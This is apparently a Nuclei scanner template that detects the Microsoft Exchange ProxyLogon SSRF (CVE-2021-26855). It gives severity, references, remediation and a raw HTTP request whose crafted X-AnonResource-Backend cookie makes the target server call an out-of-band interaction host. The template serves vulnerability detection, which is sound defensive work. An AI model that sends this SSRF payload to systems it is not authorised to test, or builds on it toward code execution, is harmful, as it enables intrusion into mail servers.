id: CVE-2021-26855 info: name: Microsoft Exchange Server SSRF Vulnerability author: madrobot severity: critical description: This vulnerability is part of an attack chain that could allow remote code execution on Microsoft Exchange Server. The initial attack requires the ability to make an untrusted connection to Exchange server port 443. Other portions of the chain can be triggered if an attacker already has access or can convince an administrator to open a malicious file. Be aware his CVE ID is unique from CVE-2021-26412, CVE-2021-26854, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078. remediation: Apply the appropriate security update. reference: - https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855 - https://proxylogon.com/#timeline - https://web.archive.org/web/20210306113850/https://raw.githubusercontent.com/microsoft/CSS-Exchange/main/Security/http-vuln-cve2021-26855.nse - https://gist.github.com/testanull/324546bffab2fe4916d0f9d1f03ffa09 - https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26855 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-26855 cwe-id: CWE-918 epss-score: 0.97524 epss-percentile: 0.99987 cpe: cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_21:*:*:*:*:*:* metadata: max-request: 1 vendor: microsoft product: exchange_server shodan-query: vuln:CVE-2021-26855 tags: cve,cve2021,ssrf,rce,exchange,oast,microsoft,kev http: - raw: - | GET /owa/auth/x.js HTTP/1.1 Host: {{Hostname}} Cookie: X-AnonResource=true; X-AnonResource-Backend={{interactsh-url}}/ecp/default.flt?~3; matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http" # digest: 490a00463044022076c9987dfde29d3ecd153b6a599b65ffc1e2126d485d7f04bf343d5f9727abd702203b6a7dcfbbdcb4eb193ee5397e60fa7cc3130f794cfd3d983a27edad2c45c59a:922c64590222798bb761d5b6d8e72950